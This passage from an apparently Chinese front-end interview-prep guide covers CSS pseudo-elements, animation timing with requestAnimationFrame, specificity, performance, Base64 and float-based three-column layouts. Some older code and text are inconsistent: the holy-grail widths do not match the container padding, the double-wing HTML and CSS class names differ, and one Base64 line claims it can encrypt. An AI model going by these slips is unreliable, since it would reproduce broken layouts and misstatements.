  • 坑:不在 DOM 里,JS 选不到;<img>、<input> 这类替换元素上不生效

单冒号和双冒号的区别是在区分伪类和伪元素:CSS3 规定伪元素用双冒号,但为了兼容老代码,:before 这类老伪元素写单冒号浏览器也认。 老项目里满屏 :before 是因为 IE8 只认单冒号,现在可以统一写 ::before。这俩伪元素的作用是在元素内容的开头或结尾插入一个虚拟的子节点,不用改 HTML 就能加装饰。比如 .tag::after { content: 'NEW'; } 就能挂个角标。记住两个前提:必须写 content 才会渲染;它插在元素里面,所以 <img>、<input> 这种没有内容的替换元素上用不了。

在 CSS 中,单冒号(:)和双冒号(::)有不同的含义和用途。

  1. 单冒号(:): 单冒号用于表示伪类。伪类是用于选择元素的特定状态或动作的关键字,例如 :hover、:active、:focus 等。伪类表示元素的某种状态或行为,它们通常用于选择元素的特定状态并应用相应的样式。
  2. 双冒号(::): 双冒号用于表示伪元素。伪元素是用于在文档中生成或插入特定内容的关键字,例如 ::before、::after、::first-line、::first-letter 等。伪元素可以创建或修改元素的一部分内容,它们允许开发人员在元素的特定位置添加样式或内容,而无需在文档中实际插入额外的 HTML 元素。

关于 ::before 和 ::after 伪元素的作用:

  • ::before: ::before 伪元素用于在选中元素的内容前插入生成的内容。通过设置 content 属性和应用样式,可以在元素的开始位置插入额外的内容,这样就可以实现一些装饰性效果或添加额外的元素内容。
  • ::after: ::after 伪元素用于在选中元素的内容后插入生成的内容。与 ::before 类似,通过设置 content 属性和应用样式,可以在元素的结束位置插入额外的内容,从而实现装饰性效果或添加其他元素内容。

这两个伪元素可以通过 CSS 属性进行定位、设置样式、添加内容等,使开发人员可以在不修改实际 HTML 结构的情况下,实现一些额外的视觉效果或功能。

💬 面试官追问

  • 给 <input> 写了 ::after 想加个清除图标,为什么不显示?

    ::after 是插到元素内容里面的,<input> 是替换元素,没有可插入的内容区,所以不生效。要么在外层包一个 <span> 挂伪元素,要么直接放一个真的按钮元素。

  • 写了 ::before 设了宽高背景,就是不出来,最常见的原因是什么?

    没写 content。不写就不会生成这个盒子,写成 content: '' 就行。第二个常见原因是它默认是 inline,宽高不生效,要加 display: block 或绝对定位。

  • 能用 JS 改 ::before 的文字吗?

    选不到伪元素本身,但可以绕:content: attr(data-text),然后 JS 改 data-text;或者用 CSS 变量。直接切 class 也行。

  • 用 ::before 输出「必填」的星号,读屏器会读出来吗?

    多数现代读屏器会把 content 里的文本读出来,但各家处理不一致,也选不中复制不了。装饰可以放伪元素,真正有含义的信息要写进 HTML,比如用 aria-required。

  • 按钮太小想扩大点击区域,又不想改布局,怎么用伪元素?

    按钮 position: relative,::after 写 position: absolute; inset: -10px; content: ''。点在伪元素上算点在按钮上,视觉不变,热区四周多了 10px。

# 21 如果需要手动写动画,你认为最小时间间隔是多久,为什么?(阿里)

⚡ 30 秒速记

  • 经典答案 16.7ms:60Hz 屏一秒刷新 60 次,1000 / 60 ≈ 16.7ms,比这更快的更新屏幕也显示不出来
  • 但别写死:120Hz 屏一帧只有 8.3ms,144Hz 是 6.9ms
  • 正确做法是 requestAnimationFrame:浏览器按屏幕实际刷新率在每帧绘制前回调,后台标签页自动暂停
  • setInterval(fn, 16) 的问题:和刷新节奏不同步会掉帧、会漂移、后台还在跑(被节流到 1s 左右)
  • 动画进度按时间戳算,不按帧数算,换高刷屏速度才不会变快

理论上最小间隔就是屏幕一帧的时长,60Hz 是 16.7ms,但现在答这题我会说别自己定间隔,用 requestAnimationFrame 交给浏览器。 屏幕每秒只刷新那么多次,你更新得再快,两次刷新之间的变化也看不到,反而浪费计算。问题是现在 120Hz 的手机很常见,写死 16.7ms 在高刷屏上就只有一半流畅度。另外定时器本身不准,主线程一忙就延后,和刷新节奏错开就会掉帧。rAF 是浏览器在每次绘制前调用的,频率自动跟屏幕走,标签页切到后台还会停掉,省电。

时序图 · 4 个参与者 / 9 步
alt 本帧主线程超时页面切到后台业务代码业务代码浏览器主线程浏览器主线程合成线程合成线程显示器显示器requestAnimationFrame 注册回调1垂直同步信号,新一帧开始2执行回调,传入时间戳3按时间戳算位移并写样式4样式计算、布局、绘制5提交图层6合成后送显7错过这次刷新,画面停在上一帧8暂停回调,不再执行9
  • 多数显示器默认频率是60Hz,即1秒刷新60次,所以理论上最小间隔为1/60*1000ms = 16.7ms
  • 如果需要手动编写动画,建议将最小时间间隔设置为 16.7ms,即每帧动画的时间间隔。这是因为大多数显示器的默认刷新频率是 60Hz,也就是每秒刷新 60 次。在这种情况下,将动画的时间间隔设置为 16.7ms 可以确保每帧动画都能够在显示器刷新之前完成。
  • 如果时间间隔小于 16.7ms,则会导致某些帧在显示器刷新之后才能呈现,造成不连续的动画效果,也称为"跳帧"现象。因此,将时间间隔设置为 16.7ms 是一个相对较小的值,可以保证较平滑的动画效果,并且适应大多数显示器的刷新频率。

需要注意的是,由于设备和浏览器的差异,实际的刷新频率和性能可能会有所不同。因此,在编写动画时,还应该进行实际测试和优化,确保动画在各种设备和浏览器上都能够获得良好的表现。

💬 面试官追问

  • 用 rAF 每帧 left += 2,在 120Hz 的手机上动画快了一倍,怎么改?

    按时间算位移,别按帧算。回调会收到时间戳 now,位移写成 (now - start) * 速度,再赋给 transform,不管一秒跑多少帧,一秒走的距离都一样。

  • 那 setTimeout(fn, 0) 能比 16.7ms 更快地更新画面吗?

    回调能执行得更频繁,但画面不会,屏幕下一次刷新前的多次修改只有最后一次被画出来。而且嵌套超过 5 层后浏览器会把最小延迟钳到 4ms,切到后台更是降到 1s 左右一次。

  • 一帧 16.7ms 里都要干什么?为什么 JS 跑 10ms 就容易卡?

    JS、样式计算、布局、绘制、合成都要在这一帧里做完,浏览器自己还要留几毫秒。JS 一次占掉 10ms,后面几步就挤不下,这一帧被跳过。长任务要拆开,或者丢到 Web Worker。

  • 简单的旋转、淡入,需要自己用 JS 写循环吗?

    不需要。CSS 的 transition / animation 只动 transform 和 opacity 时能交给合成线程跑,主线程卡了也不掉帧,比 JS 循环更稳。JS 动画留给要跟手势、物理、滚动联动的场景。

  • 页面切到后台再切回来,rAF 写的动画元素直接跳到了终点,正常吗?

    正常,后台时 rAF 不回调,切回来第一帧拿到的时间戳差值很大,按时间算位置就直接到终点了。如果希望接着播,要在 visibilitychange 里记下暂停时长,从 start 里减掉。

# 22 CSS合并方法

⚡ 30 秒速记

  • 现在合并全交给构建:Webpack 用 css-loader + mini-css-extract-plugin,Vite 生产构建默认就会抽离 CSS
  • 源码里的 @import 让 Sass / PostCSS 在构建期展开,别留到浏览器运行时,运行时的 @import 是串行请求
  • 合并后再压缩:cssnano / Lightning CSS 去空格注释、合并重复规则
  • 去掉没用的:Tailwind 按需生成、PurgeCSS 按实际类名裁剪
  • HTTP/2 之后不追求「全站一个大文件」:公共样式单独一份长缓存,页面样式按路由拆

合并 CSS 现在基本是构建工具的事:源码按模块拆着写,构建时打包、压缩、加 hash,上线的是少量几个文件。 以前追求合并成一个文件是因为 HTTP/1.1 每个请求都贵;到了 HTTP/2 多路复用,请求数不是主要矛盾了,反而一个大文件改一行全站缓存失效。所以我会拆成两层:不常变的公共样式和组件库单独一份,长期缓存;页面级样式跟着路由走,Vite 的 build.cssCodeSplit 默认就是这么干的。另外首屏关键样式可以内联进 <head>,剩下的异步加载。

正确合并 CSS 的方法可以包括以下几点:

  1. 内联 CSS: 将 CSS 直接写在 HTML 文件的 <style> 标签中或者通过 style 属性添加到具体元素中。这样可以减少 HTTP 请求并提高页面加载速度,但可维护性较差。
  2. CSS 预处理器: 使用 CSS 预处理器如 Sass、Less 或 Stylus,它们提供了更灵活和可维护的方式来编写 CSS,并且可以将多个 CSS 文件合并为一个。
  3. 合并工具: 使用构建工具如 Grunt、Gulp 或 Webpack,通过配置任务来合并 CSS 文件。这些工具提供了任务运行、文件合并、压缩等功能,可以自动化合并 CSS,并在开发过程中或上线前进行处理。
  4. HTTP 请求合并: 如果使用多个 CSS 文件,可以通过服务器端配置将它们合并成一个文件,并通过单个 HTTP 请求加载。这样可以减少请求的数量,提高页面加载速度。
  5. 压缩: 对合并后的 CSS 文件进行压缩,去除空格、注释等无关字符,以减小文件大小,提高加载速度。

需要根据具体的项目和需求选择适合的合并方法,以提高页面性能和开发效率。

💬 面试官追问

  • 线上发现有个 CSS 里写了 @import url(reset.css),有什么问题?

    浏览器得先下载并解析外层文件,看到 @import 才去请求 reset.css,两个文件串行,首屏渲染被拖长。在构建期把它展开合进去,或者在 HTML 里用两个 <link> 并行加载。

  • 全站样式打成一个 400KB 的文件,改个按钮颜色用户就要重新下载,怎么拆?

    按变化频率拆:reset、组件库这类不常变的打成 vendor,业务公共样式一份,页面样式按路由拆。文件名带内容 hash,没变的那份继续命中缓存。

  • Vite 项目里异步路由的样式是什么时候加载的?

    Vite 默认开启 CSS 代码分割,异步组件的样式会单独产出一个文件,在加载那个 JS 块时一起插入 <link>,加载完才执行组件,所以不会先出现无样式的内容。

  • 首屏关键 CSS 内联,剩下的怎么异步加载不阻塞渲染?

    常见写法是 <link rel="stylesheet" href="rest.css" media="print" onload="this.media='all'">。media 不匹配的样式表浏览器会低优先级下载且不阻塞渲染,加载完再切回 all。

# 23 CSS不同选择器的权重(CSS层叠的规则)

⚡ 30 秒速记

  • 比较顺序:来源与 !important → @layer 顺序 → 选择器特指度 → 书写顺序;style 属性比任何选择器都优先
  • 特指度是三元组 (ID 数, 类/属性/伪类数, 元素/伪元素数),从左往右逐位比,高位赢了就结束
  • 别当十进制相加:11 个类也赢不了 1 个 ID,1000/100/10/1 只是方便记忆的近似说法
  • *、+、>、~ 不计权重;:where() 恒为 0;:is() / :not() / :has() 取括号里最高的那个
  • 特指度相同,后写的赢

CSS 先比重要性和来源,再比选择器特指度,最后看谁写在后面;特指度按 ID、类、元素三档逐位比较。 很多资料说行内 1000、ID 100、类 10、元素 1 加起来比,这个近似说法大部分时候对,但它会让人以为 11 个类能赢一个 ID,实际不行,三档是分开比的,高档位赢了后面就不用看了。行内样式严格说也不算特指度,它是比所有选择器都高的一层。!important 能压过行内样式,所以我很少用它,一用就容易陷入互相加 !important 的循环。

CSS选择器的权重规则可以总结如下:

  1. !important规则:具有最高的优先级,优先级为最大。
  2. 行内样式:通过 style 属性直接定义的样式具有较高的权重,优先级为 1000。
  3. ID 选择器:每个 ID 选择器的权重为 100。
  4. 类选择器、属性选择器和伪类选择器:每个类选择器、属性选择器或伪类选择器的权重为 10。
  5. 元素选择器:每个元素选择器的权重为 1。

当应用多个选择器到同一个元素时,根据上述规则计算各个选择器的权重,具有较高权重的样式将被应用。如果存在权重相同的情况,则根据样式规则的先后顺序来决定哪个样式生效,后声明的样式会覆盖先声明的样式。

下面是一个权重计算的示例:

/* 权重为 1 */
div {
}

/* 权重为 10 */
.class1 {
}

/* 权重为 100 */
#id1 {
}

/* 权重为 101 (100 + 1) */
#id1 div {
}

/* 权重为 11 (10 + 1) */
.class1 div {
}

/* 权重为 21 (10 + 10 + 1) */
.class1 .class2 div {
}

根据权重的计算规则,选择器的权重越高,其样式优先级越高,将更有可能应用到对应的元素上。

💬 面试官追问

  • .nav .list .item a(0,3,1)和 #nav a(1,0,1)谁赢?

    #nav a 赢。第一档 ID 数是 1 比 0,后面不用比了,类再多也没用。

  • :not(#app) .btn 的权重是多少?

    (1,1,0)。:not() 本身不算,算的是括号里最高的那个参数,这里是 #app,所以它比一般的 .btn 高出一个 ID 档。

  • 写组件库时希望样式权重低、业务方轻松覆盖,怎么写?

    用 :where() 包住选择器,:where(.btn) { ... } 特指度是 0,业务写个 .btn 就能覆盖。或者把组件库样式放进更靠前的 @layer,不分层的业务样式天然比所有层优先。

  • 两个文件都写了 .title { color: ... },有时是红有时是蓝,怎么回事?

    特指度一样就看最终的加载顺序,异步加载的 CSS 块谁后插入谁赢,所以会随路由跳转顺序变化。要么提高其中一个的确定性,要么用 @layer 明确先后,别依赖加载时机。

  • !important 放进 @layer 后,优先级规则有什么变化?

    反过来了。普通声明是后面的层赢,!important 声明是前面的层赢,所以底层的 reset 写了 !important 反而能压过上层,这是故意设计的,让底层能锁住关键样式。

# 24 列出你所知道可以改变页面布局的属性

⚡ 30 秒速记

  • 盒子尺寸:width / height / min-* / max-*、padding、margin、border-width、box-sizing
  • 参与方式与位置:display、position + top/right/bottom/left、float / clear
  • 布局容器:flex 系列、grid 系列、columns、gap
  • 文字会撑开行盒:font-size、line-height、font-family、white-space、letter-spacing
  • 容易误判的:visibility: hidden 仍占位;transform 和 z-index 不影响别人的位置;overflow 会改变滚动和格式化上下文
  • 延伸:改这些属性会触发重新布局(回流),动画尽量只用 transform / opacity

能改变布局的属性大致分四类:盒子大小、参与排版的方式、布局容器、文字。 前三类大家都能说出来,width、margin、display、position、flex、grid 这些。容易漏的是文字相关的,font-size、line-height 改了行盒高度就变,网页字体加载完替换掉系统字体,整段文字宽高一变,下面的内容就跳一下。还有几个容易说错的:transform 只改视觉位置,不影响周围元素占位;z-index 只改叠放顺序;visibility: hidden 看不见但位置还在。这些边界答清楚,面试官就知道你真懂布局。

以下是一些可以改变页面布局的常用属性:

  1. position:控制元素的定位方式,如static、relative、absolute、fixed等。
  2. display:指定元素的显示方式,如block、inline、inline-block、flex、grid等。
  3. float:使元素浮动到指定的位置,常用于创建多列布局。
  4. width和height:控制元素的宽度和高度。
  5. margin和padding:调整元素的外边距和内边距。
  6. top、left、right和bottom:设置元素相对于其定位父元素的偏移位置。
  7. z-index:控制元素的层叠顺序。
  8. overflow:控制元素内容溢出时的处理方式。
  9. box-sizing:指定元素的盒模型类型,如content-box和border-box。
  10. flexbox和grid:强大的布局模型,用于创建复杂的网格布局和灵活的盒模型布局。

这些属性可以结合使用,通过调整它们的值和组合,可以实现各种不同的页面布局和排列方式。

💬 面试官追问

  • display: none 和 visibility: hidden 在布局上有什么区别?

    display: none 不生成盒子,不占位,切换会引起回流;visibility: hidden 盒子还在、照样占位,只是不画。另外 visibility 能被子元素用 visible 覆盖回来,display: none 的子元素怎么写都出不来。

  • 用 transform: translateY(20px) 把元素往下挪,下面的兄弟元素会跟着动吗?

    不会。transform 在布局完成后才作用,只改视觉,原来的位置照样占着。这也是它做动画便宜的原因。

  • 页面加载完一两秒后,正文整体往下跳了一下,可能是哪些属性在变?

    常见的是图片没写宽高、网页字体加载完替换、异步插入的横幅。图片写 width / height 或 aspect-ratio,字体用 font-display 配 size-adjust,插入内容预留高度。

  • 只改 color 或 background 会影响布局吗?

    不会,几何没变,只触发重绘。但改 border-width 会,盒子尺寸变了。所以做选中态时我更喜欢用 box-shadow 或 outline 画边框,不会把周围挤开。

# 25 CSS在性能优化方面的实践

⚡ 30 秒速记

  • CSS 默认阻塞渲染 → 体积和加载路径直接影响首屏:压缩、Gzip / Brotli、去掉没用的样式、按路由拆
  • 首屏关键 CSS 内联进 <head>,其余异步加载;用 <link> 不用 @import
  • 渲染开销:动画只动 transform / opacity;will-change 只给真要动的元素,别全局滥用
  • 长页面用 content-visibility: auto + contain-intrinsic-size 跳过屏外内容的渲染
  • 选择器复杂度在现代浏览器里影响很小,别为此牺牲可读性;真正要防的是 :has() 这类大范围匹配
  • CSS 表达式是 IE 时代的东西,现在不用提

CSS 性能分两段看:加载阶段它阻塞渲染,所以要小、要快到;运行阶段要少触发布局和绘制。 加载这边,浏览器拿不到 CSS 就不画页面,所以首屏关键样式我会内联,剩下的异步加载,再配合压缩、按路由拆包、去掉没用的样式,比如 Tailwind 按需生成。运行这边,动画只动 transform 和 opacity,长列表加 content-visibility: auto 让屏幕外的内容先不渲染。以前常说选择器要从右往左匹配、别嵌套太深,这在现代浏览器里影响已经很小了,我不会为它去改可读性。

在性能优化方面,以下是一些CSS的实践方法:

  1. 压缩和合并CSS:使用CSS压缩工具将CSS文件压缩,并将多个CSS文件合并为一个文件,减少网络请求次数和文件大小。
  2. 使用Gzip压缩:配置服务器开启Gzip压缩,可以减小CSS文件的大小,加快文件传输速度。
  3. 将CSS文件放在<head>标签中:将CSS文件的引用放在HTML文档的<head>标签中,以便在页面渲染前加载CSS样式。
  4. 避免使用@import:避免在CSS中使用@import导入其他CSS文件,因为@import会增加额外的请求延迟,推荐使用<link>标签引入CSS文件。
  5. 使用缩写属性:尽量使用CSS的缩写属性,如margin、padding、font等,可以减少CSS文件的大小。
  6. 避免使用滤镜:某些CSS滤镜效果会导致性能下降,特别是在大型页面中使用,尽量避免滤镜的使用。
  7. 合理使用选择器:选择器的复杂性会影响CSS选择器的匹配速度,尽量避免使用过于复杂的选择器,减少选择器的层级和嵌套。
  8. 避免使用CSS表达式:CSS表达式会在每次页面重绘时重新计算,影响性能,尽量避免使用。
  9. 使用缓存:通过设置适当的HTTP响应头,将CSS文件缓存到浏览器中,减少重复请求。
  10. 使用媒体查询:针对不同设备和屏幕尺寸,使用媒体查询来加载不同的CSS样式,提高响应性能。

这些实践方法可以帮助优化CSS在网页加载和渲染过程中的性能,减少加载时间,提升用户体验。

💬 面试官追问

  • 白屏时间长,Network 里看到一个 300KB 的 CSS 排在最前面,怎么下手?

    先看 Coverage 面板,首屏实际用到的往往不到三成。把首屏用到的抽出来内联,剩下的异步加载,再按路由拆掉其他页面的样式。

  • 有人给所有卡片都加了 will-change: transform,滚动反而更卡了,为什么?

    每个 will-change 元素都可能被提升成单独的合成层,几百个层吃显存,合成本身也变慢。只在动画开始前加、结束后去掉,或者只给真正在动的那一两个元素加。

  • 一个几千条的长列表页,滚动卡、首次渲染慢,CSS 能做什么?

    给每个区块加 content-visibility: auto 和 contain-intrinsic-size: auto 500px,屏幕外的区块跳过布局和绘制,首次渲染能明显变快。数据量再大就得上虚拟列表,CSS 解决不了 DOM 数量本身。

  • .a .b .c .d span 这种深层选择器,真的会拖慢页面吗?

    在现代浏览器里,几千个元素的页面差别通常是毫秒以下,我更在意的是它的可维护性和权重问题。真要排查样式计算慢,看 Performance 里 Recalculate Style 的耗时和受影响元素数量。

# 26 CSS3动画(简单动画的实现,如旋转等)

⚡ 30 秒速记

  • transform 描述变成什么样(rotate / scale / translate),transition 和 animation 描述怎么变过去
  • transition:两个状态之间补间,需要触发(:hover、切 class)
  • animation + @keyframes:多关键帧、能自动播放、能循环、能暂停(animation-play-state)
  • 旋转:@keyframes spin { to { transform: rotate(360deg) } } + animation: spin 1s linear infinite
  • 常用开关:animation-fill-mode: forwards 停在终态,结束事件是 transitionend / animationend
  • 只动 transform / opacity 才能走合成线程;记得给 prefers-reduced-motion: reduce 关掉

简单动画就是 transform 定义变化,transition 或 animation 定义过程:两个状态之间切换用 transition,要自动播放或循环用 animation。 比如按钮悬停放大,transition: transform .2s 加 :hover { transform: scale(1.05) } 就够了。加载图标一直转,就要 @keyframes spin { to { transform: rotate(360deg) } } 配 animation: spin 1s linear infinite,linear 很重要,不然每圈会有加速减速。我写动画只动 transform 和 opacity,它们不触发布局,能交给合成线程跑,主线程卡的时候也不掉帧。

  • 依靠CSS3中提出的三个属性:transition、transform、animation
  • transition:定义了元素在变化过程中是怎么样的,包含transition-property、transition-duration、transition-timing-function、transition-delay。
  • transform:定义元素的变化结果,包含rotate、scale、skew、translate。
  • animation:动画定义了动作的每一帧(@keyframes)有什么效果,包括animation-name,animation-duration、animation-timing-function、animation-delay、animation-iteration-count、animation-direction

以下是一个使用CSS3动画实现旋转的示例:

/* 定义动画关键帧 */
@keyframes rotate {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

/* 应用动画到元素 */
.element {
  animation-name: rotate; /* 指定动画名称 */
  animation-duration: 3s; /* 动画持续时间 */
  animation-timing-function: linear; /* 动画速度曲线 */
  animation-delay: 0s; /* 动画延迟时间 */
  animation-iteration-count: infinite; /* 动画重复次数,这里设置为无限循环 */
  animation-direction: normal; /* 动画播放方向 */
}

💬 面试官追问

  • 给 display: none 切到 block 的弹窗加 transition,为什么没有淡入效果?

    元素从不生成盒子到生成,没有起始状态可以补间,display 传统上也不能过渡。老办法是用 opacity + visibility 控制显隐;新浏览器可以用 @starting-style 配 transition-behavior: allow-discrete。

  • 动画播完元素又跳回初始样子了,怎么让它停在最后一帧?

    加 animation-fill-mode: forwards。默认动画结束后就回到元素原本的样式,forwards 让它保留最后一个关键帧的值。

  • 给一个 span 写了 transform: rotate(45deg),完全没反应,为什么?

    transform 对非替换的行内元素不生效。给它加 display: inline-block 就好了。

  • 同一个动画用 left 写和用 transform 写,性能差在哪?

    left 每帧都要重新布局再重绘,主线程一忙就掉帧;transform 布局和绘制都跳过,只在合成阶段移动图层。Performance 面板里能看到前者每帧都有紫色的 Layout。

  • 想在动画结束后移除元素,怎么写?

    监听 animationend,el.addEventListener('animationend', () => el.remove(), { once: true })。注意子元素的动画结束事件也会冒泡上来,要判断 e.target === el。

# 27 base64的原理及优缺点

⚡ 30 秒速记

  • 原理:每 3 字节(24 bit)切成 4 组 6 bit,每组查表映射到 64 个可打印字符(A-Z a-z 0-9 + /)
  • 最后不足 3 字节补 =:剩 1 字节 → 2 字符 + ==,剩 2 字节 → 3 字符 + =
  • 体积固定变成原来的 4/3,多约 33%
  • 优点:二进制能放进只认文本的地方(JSON、URL、邮件、Data URL),小图内联省一次请求
  • 缺点:体积变大、内联后没法单独缓存、解码占 CPU、内联进 CSS 会拖慢首屏
  • 它是编码不是加密,谁都能解;URL 里用 Base64URL(- _ 替换 + /,JWT 就是这种)

Base64 就是把二进制每 3 个字节拆成 4 个 6 位的块,每块查表换成一个可打印字符,所以体积固定涨三分之一。 为什么是 6 位?2 的 6 次方正好 64,用大小写字母、数字加 + / 刚好够。它解决的是二进制放不进文本通道的问题,比如在 JSON 里传图片、CSS 里内联小图标。代价也很直接:体积多 33%,内联后跟着 CSS 一起缓存,图标一改整份样式失效。所以我只给几 KB 以内的小图标用,而且要清楚它不是加密,atob 一下就还原了。

Base64是一种将二进制数据编码为ASCII字符的方法,通过将二进制数据转换为由64个字符组成的可打印字符序列,实现二进制数据的传输和存储。

Base64编码的原理如下:

  1. 将待编码的数据按照每3个字节一组进行分组。
  2. 将每组3个字节转换为4个6位的Base64字符。
  3. 如果最后一组不足3个字节,根据需要进行填充。
  4. 将转换后的Base64字符拼接在一起,形成最终的Base64编码结果。

优点:

  • 可以将二进制数据转换为文本数据,方便在文本环境中传输和存储。
  • 减少了HTTP请求,可以将小的图片或其他资源直接嵌入到HTML、CSS或JavaScript代码中,减少了对服务器的请求次数。

缺点:

  • Base64编码会使数据的大小增加,因为每3个字节的原始数据会转换为4个字节的Base64编码数据。
  • Base64编码是一种可逆的编码方法,虽然可以加密数据,但并不提供真正的安全性。
  • 编码和解码过程涉及到字符转换和处理,消耗了一定的CPU资源。

总的来说,Base64编码适用于在文本环境中传输和存储二进制数据,并且可以减少HTTP请求。但在需要考虑数据大小和性能的情况下,需要权衡使用Base64编码的优缺点。

💬 面试官追问

  • btoa('Man') 的结果是什么,怎么算出来的?

    TWFu。M a n 三个字节 77 97 110,拼成 24 位后切成 19 22 5 46 四个 6 位数,查表就是 T W F u。

  • btoa('Ma') 呢?为什么结尾有个 =?

    TWE=。只有 2 个字节 16 位,补两个 0 凑成 18 位编成 3 个字符,第 4 个位置用 = 占位,解码时就知道最后一组只有 2 个字节。

  • 一张 30KB 的背景图内联进 CSS 合适吗?

    不合适。转完 40KB,而且 CSS 阻塞渲染,这 40KB 全算在首屏关键路径上,图本身又没法单独缓存。我一般卡在 4KB 左右,Vite 的 build.assetsInlineLimit 默认就是 4096。

  • Base64 编码后再 Gzip,体积能压回去吗?

    能压一部分但回不到原来。Base64 字符只用了每字节 6 位的信息,Gzip 能挤掉一些冗余,但对已经压缩过的 PNG / JPG 来说,编码带来的增长基本还在。

  • 把 token 用 Base64 存在 localStorage 里,算不算做了保护?

    不算,这只是换了个写法,atob 一行就能还原。JWT 的 payload 也只是 Base64URL,任何人都能读,所以不能往里放敏感信息。

# 28 几种常见的CSS布局

⚡ 30 秒速记

  • 先说选型原则:一维(一行或一列)用 Flex,二维(行列同时控制)用 Grid
  • 现代三栏:grid-template-columns: 200px 1fr 200px 一行搞定;Flex 写法是两侧定宽、中间 flex: 1
  • 老方案:float + 清浮动、inline-block(有空白间隙)、绝对定位、table
  • 圣杯 / 双飞翼:都是 float + 负 margin 让主体内容在 DOM 前面先渲染;圣杯靠父元素 padding + 相对定位,双飞翼在主体里多包一层用 margin 留位
  • 响应式:媒体查询 + rem / vw / % + clamp();组件级用容器查询 @container
  • 常见场景:粘底页脚、等高多栏、卡片网格(repeat(auto-fill, minmax(240px, 1fr)))

布局我会先讲选型:一维排列用 Flex,行列都要控制用 Grid,圣杯和双飞翼是 float 时代的方案,现在当历史知识讲清原理就行。 两侧定宽中间自适应,Grid 写一行 grid-template-columns: 200px 1fr 200px 就完了。圣杯和双飞翼要解决的是同一个问题:主体内容在 HTML 里写在最前面,让它先加载,同时用浮动加负 margin 把左右两栏拉回到两边。区别是圣杯给父元素加 padding 再用相对定位把侧栏挪过去,双飞翼在主体里再包一层,用 margin 留位,不用相对定位。卡片网格我常用 repeat(auto-fill, minmax(240px, 1fr)),不写媒体查询也能自动换行。

# 流体布局

	.left {
		float: left;
		width: 100px;
		height: 200px;
		background: red;
	}
	.right {
		float: right;
		width: 200px;
		height: 200px;
		background: blue;
	}
	.main {
		margin-left: 120px;
		margin-right: 220px;
		height: 200px;
		background: green;
	}
<div class="container">
    <div class="left"></div>
    <div class="right"></div>
    <div class="main"></div>
</div>

上述代码实现了一个基本的流体布局,其中左侧(.left)和右侧(.right)是固定宽度和高度的浮动元素,中间部分(.main)是流动的内容区域。

  • .left和.right都使用了浮动(float)属性,分别向左和向右浮动,使它们脱离正常的文档流并排在一起。
  • .left的宽度为100px,高度为200px,背景颜色为红色。
  • .right的宽度为200px,高度为200px,背景颜色为蓝色。
  • .main使用了左右的外边距(margin-left和margin-right),使其在左右两侧留出空白区域,与左侧和右侧元素不重叠。
  • .main的高度为200px,背景颜色为绿色。

这样设置后,左侧和右侧的浮动元素会占据固定的宽度和高度,并排在一起。中间的内容区域会流动到浮动元素的下方,填充剩余的空间。这样就实现了一个基本的流体布局,可以根据容器的大小自动适应屏幕或容器的宽度。

需要注意的是,浮动元素可能会导致父容器的高度塌陷,可以通过在父容器上添加清除浮动的样式来解决这个问题,例如在容器上添加clearfix类:

.container::after {
  content: "";
  display: table;
  clear: both;
}

以上是一个简单的流体布局的示例,实际应用中可能会结合其他CSS属性和技巧来实现更复杂的布局效果。

# 圣杯布局

  • 要求:三列布局;中间主体内容前置,且宽度自适应;两边内容定宽
  • 好处:重要的内容放在文档流前面可以优先渲染
  • 原理:利用相对定位、浮动、负边距布局,而不添加额外标签
  .container {
      padding-left: 150px;
      padding-right: 190px;
  }
  .main {
      float: left;
      width: 100%;
  }
  .left {
      float: left;
      width: 190px;
      margin-left: -100%;
      position: relative;
      left: -150px;
  }
  .right {
      float: left;
      width: 190px;
      margin-left: -190px;
      position: relative;
      right: -190px;
  }
<div class="container">
	<div class="main"></div>
	<div class="left"></div>
	<div class="right"></div>
</div>

上述代码实现了一个圣杯布局,具有三列布局,其中中间的主体内容前置且宽度自适应,两侧内容具有固定宽度。

  • .container是包含整个布局的容器,通过设置左右内边距来给中间主体内容留出空间。
  • .main是中间的主体内容区域,使用浮动(float: left;)和宽度为100%(width: 100%;)来使其占据剩余的宽度,并自适应容器的宽度。
  • .left是左侧内容区域,使用相对定位(position: relative;)和负边距(margin-left: -100%;)来将其向左偏移,并利用相对定位的left属性(left: -150px;)将其定位到容器的左侧。
  • .right是右侧内容区域,同样使用相对定位和负边距来将其向左偏移,并利用相对定位的right属性(right: -190px;)将其定位到容器的右侧。

这样设置后,左侧和右侧的内容区域会以负偏移的方式覆盖在主体内容区域上方,而主体内容区域则会自适应剩余的宽度。这样就实现了一个圣杯布局,能够将重要的内容放在文档流的前面,优先渲染。

需要注意的是,由于使用了负边距和相对定位,可能会导致布局上的一些特殊情况和问题,需要在具体应用中进行测试和调整。

以上是一个简单的圣杯布局的示例,通过相对定位、浮动和负边距等CSS属性和技巧,实现了一个具有三列布局、自适应宽度和前置主体内容的布局效果。

# 双飞翼布局

  • 双飞翼布局:对圣杯布局(使用相对定位,对以后布局有局限性)的改进,消除相对定位布局
  • 原理:主体元素上设置左右边距,预留两翼位置。左右两栏使用浮动和负边距归位,消除相对定位。
.container {
    /*padding-left:150px;*/
    /*padding-right:190px;*/
}
.main-wrap {
    width: 100%;
    float: left;
}
.main {
    margin-left: 150px;
    margin-right: 190px;
}
.left {
    float: left;
    width: 150px;
    margin-left: -100%;
    /*position: relative;*/
    /*left:-150px;*/
}
.right {
    float: left;
    width: 190px;
    margin-left: -190px;
    /*position:relative;*/
    /*right:-190px;*/
}
<div class="content">
    <div class="main"></div>
</div>
<div class="left"></div>
<div class="right"></div>

上述代码实现了一个双飞翼布局,与圣杯布局相比,双飞翼布局消除了相对定位,使布局更加简洁。

  • .container是包含整个布局的容器,可以设置其左右内边距来给中间主体内容留出空间。在双飞翼布局中,我们可以选择是否为容器设置内边距,取决于具体的设计需求。
  • .main-wrap是一个包裹着主体内容的容器,设置宽度为100%和浮动,使其占据一行并自适应宽度。
  • .main是中间的主体内容区域,设置左右外边距来预留出左右两翼的位置,使其不会被左右两边的内容覆盖。
  • .left是左侧内容区域,使用浮动和负边距(margin-left: -100%;)将其向左偏移,使其脱离文档流并覆盖在主体内容的左侧。
  • .right是右侧内容区域,同样使用浮动和负边距(margin-left: -190px;)将其向左偏移,使其脱离文档流并覆盖在主体内容的右侧。

这样设置后,左侧和右侧的内容区域会以浮动和负偏移的方式覆盖在主体内容区域的两侧,而主体内容区域则会自适应剩余的宽度。双飞翼布局相较于圣杯布局,去除了相对定位,使布局结构更加简洁。

需要注意的是,双飞翼布局同样可能出现一些特殊情况和问题,如内容溢出、高度不平等等,需要在具体应用中进行测试和调整。

💬 面试官追问

